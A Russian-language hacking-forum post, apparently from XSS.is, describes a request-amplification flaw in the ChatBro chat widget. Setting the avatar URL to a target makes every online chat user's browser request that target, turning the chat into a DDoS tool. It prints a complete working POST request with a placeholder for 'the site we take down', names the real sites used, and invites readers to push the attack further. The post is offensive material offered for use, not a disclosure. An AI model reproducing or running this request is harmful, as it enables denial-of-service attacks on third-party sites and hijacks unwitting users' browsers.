• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья DDOS сайтов живой силой | Request Amplification в ChatBro

0xtr1p

HDD-drive
Пользователь
Регистрация
27.02.2023
Сообщения
23
Реакции
99
Краткая предыстория:

Совсем недавно занялся тестированием веб приложений на проникновение, решал CTF и таски на различных платформах и впервые решил поискать что-то на реальном ресурсе.
Зайдя на один из таких ресурсов в глаза сразу бросился чат с несколькими тысячами пользователями онлайн, возникла идея найти XSS или хотя-бы научиться делать веб запросы от каждого из пользователей.
1677916833932.png


Описание уязвимости:

В запросе сразу обнаруживаем два параметра с ссылками:
1677916716076.png


Заменяем URL аватара на endpoint и получаем это:
1677916898914.png


В результате посылки каждого сообщения на ресурс аватара, выполняется количество запросов равное количеству пользователей в онлайне.

Итоговый запрос для чата на сайте https://znanija.site/ (редактируйте в зависимости от ресурса где находится чат):
POST /send_message/ HTTP/2 Host: www.chatbro.com Content-Length: 558 Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://znanija.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://znanija.site/ Accept-Encoding: gzip, deflate Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 {"encodedChatId":"08VQM","body":{"text":"asd","attachments":[]},"chatLanguage":"RU","siteDomain":"znanija.site","timestamp":1677915716582,"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36","mobile":false,"connType":"ws","authorChatClientId":"bf664834-db7f-431e-8576-9dd9b1ee9337","siteUserExternalId":"103411","siteUserFullName":"vqeywa","siteUserAvatarUrl":"САЙТ_КОТОРЫЙ_КЛАДЕМ","siteUserProfileUrl":"http://chatbro.com/","permissions":[],"eo":""}

Ресурсы с чатом, где тестировал:
1. https://znanija.site/
2. https://www.chatbro.com/

Я уверен, что уязвимость можно доработать дo чего-то большего, поэтому оставляю ее вам).
От вас лишь попрошу поставить лайки и написать комментарии. ;)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх